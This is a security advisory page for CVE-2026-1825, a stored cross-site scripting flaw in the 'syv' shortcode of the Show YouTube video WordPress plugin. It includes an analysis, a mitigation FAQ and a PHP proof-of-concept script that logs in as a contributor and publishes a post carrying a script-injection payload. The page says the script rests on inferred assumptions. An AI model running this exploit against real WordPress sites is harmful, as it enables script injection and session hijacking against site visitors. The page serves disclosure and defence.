Atomic Edge analysis of CVE-2026-1825 (metadata-based):
The vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Show YouTube video WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The description states the vulnerability exists in all versions up to and including 1.1, with no patched version available. The attack vector targets the plugin’s ‘syv’ shortcode via its ‘id’ attribute. Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. This allows contributor-level authenticated users to inject arbitrary JavaScript into posts or pages. The injected script executes whenever a user views the compromised content. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) confirms network accessibility, low attack complexity, low privilege requirements, no user interaction, and scope change with low confidentiality and integrity impact. The vulnerability likely occurs because the plugin fails to properly validate or escape the ‘id’ parameter before outputting it within HTML attributes or script contexts. A fix would require implementing proper sanitization using WordPress functions like sanitize_text_field() and output escaping using esc_attr() or esc_js(). The impact includes session hijacking, content defacement, and malicious redirects for any site visitor viewing the injected page.

CVE-2026-1825: Show YouTube video <= 1.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute (show-youtube-video)
CVE-2026-1825
show-youtube-video
1.1
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1825 - Show YouTube video <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to inject via the 'id' shortcode attribute
// This payload demonstrates XSS by triggering an alert with the current domain
$xss_payload = '"><script>alert(document.domain);</script>';
// WordPress authentication via wp-login.php
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Create a temporary cookie file
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1825_cookie');
$ch = curl_init();
// Step 1: Authenticate and obtain session cookies
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
// Step 2: Create a new post with the malicious shortcode
// Assumption: The plugin's shortcode is 'syv' and accepts an 'id' parameter
// The vulnerability description confirms the 'id' attribute is the injection point
$create_post_url = $target_url . '/wp-admin/post-new.php';
// Extract nonce from the post creation page
curl_setopt_array($ch, [
CURLOPT_URL => $create_post_url,
CURLOPT_POST => false,
CURLOPT_RETURNTRANSFER => true
]);
$post_page = curl_exec($ch);
// Extract nonce for post creation (simplified pattern - actual implementation may vary)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
// Construct post content with malicious shortcode
// The shortcode format is inferred from plugin name: [syv id="PAYLOAD"]
$post_content = 'Post containing malicious shortcode: [syv id="' . $xss_payload . '"]';
// Submit the post
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-post.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'post_title' => 'Test Post with XSS',
'content' => $post_content,
'action' => 'editpost',
'_wpnonce' => $nonce,
'_wp_http_referer' => $create_post_url,
'post_type' => 'post',
'post_status' => 'publish',
'submit' => 'Publish'
]),
CURLOPT_RETURNTRANSFER => true
]);
$result = curl_exec($ch);
if (strpos($result, 'Post published') !== false || strpos($result, 'Post updated') !== false) {
echo "Exploit successful. Post created with XSS payload.n";
echo "Visit the published post to trigger the JavaScript execution.n";
} else {
echo "Exploit may have failed. Check authentication and permissions.n";
}
// Cleanup
curl_close($ch);
unlink($cookie_file);
?>
Frequently Asked Questions
What is CVE-2026-1825?
Understanding the vulnerabilityCVE-2026-1825 is a stored cross-site scripting (XSS) vulnerability in the Show YouTube video plugin for WordPress. It allows authenticated users with contributor-level access and above to inject arbitrary JavaScript through the plugin’s ‘syv’ shortcode, which executes when other users view the affected content.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient input sanitization and output escaping on user-supplied attributes in the ‘syv’ shortcode. An attacker can exploit this by injecting a malicious script into the ‘id’ attribute, which is then rendered in the HTML of the page, executing whenever a user accesses it.
Who is affected by this vulnerability?
Identifying vulnerable usersAny WordPress site using the Show YouTube video plugin version 1.1 or earlier is affected. Specifically, authenticated users with contributor-level access and above can exploit this vulnerability to inject malicious scripts.
How can I check if my site is vulnerable?
Vulnerability assessment stepsTo determine if your site is vulnerable, check the version of the Show YouTube video plugin installed. If it is version 1.1 or earlier, your site is at risk. Additionally, review any user-generated content that utilizes the ‘syv’ shortcode for potential malicious scripts.
What is the CVSS score and what does it mean?
Understanding severity ratingsCVE-2026-1825 has a CVSS score of 6.4, indicating a medium severity level. This score reflects the potential impact of the vulnerability, including the ease of exploitation and the consequences of a successful attack, which could lead to session hijacking or content defacement.
How can I fix or mitigate this vulnerability?
Recommended actionsTo mitigate this vulnerability, update the Show YouTube video plugin to a patched version if available. If no patch exists, consider disabling the plugin or implementing custom sanitization and escaping for the ‘id’ attribute in the shortcode to prevent script injection.
What are the potential risks of this vulnerability?
Impact on site securityThe risks include the possibility of session hijacking, content defacement, and malicious redirects for users viewing the compromised pages. An attacker could inject scripts that steal sensitive data or redirect users to malicious sites.
What is stored cross-site scripting (XSS)?
Definition and implicationsStored XSS is a type of vulnerability where an attacker injects malicious scripts into content that is stored on the server. When users access this content, the scripts execute in their browsers, potentially leading to data theft or other malicious activities.
How does the proof of concept demonstrate the issue?
Technical illustration of the vulnerabilityThe proof of concept illustrates the exploitation of CVE-2026-1825 by using a crafted payload that triggers a JavaScript alert with the current domain. It shows how an authenticated user can inject this payload through the ‘id’ attribute of the ‘syv’ shortcode, demonstrating the vulnerability in action.
What should I do if I cannot update the plugin?
Alternative mitigation strategiesIf updating the plugin is not an option, consider disabling it until a fix is available. Additionally, you can implement custom code to sanitize and escape the ‘id’ attribute in the shortcode to prevent potential script injection.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






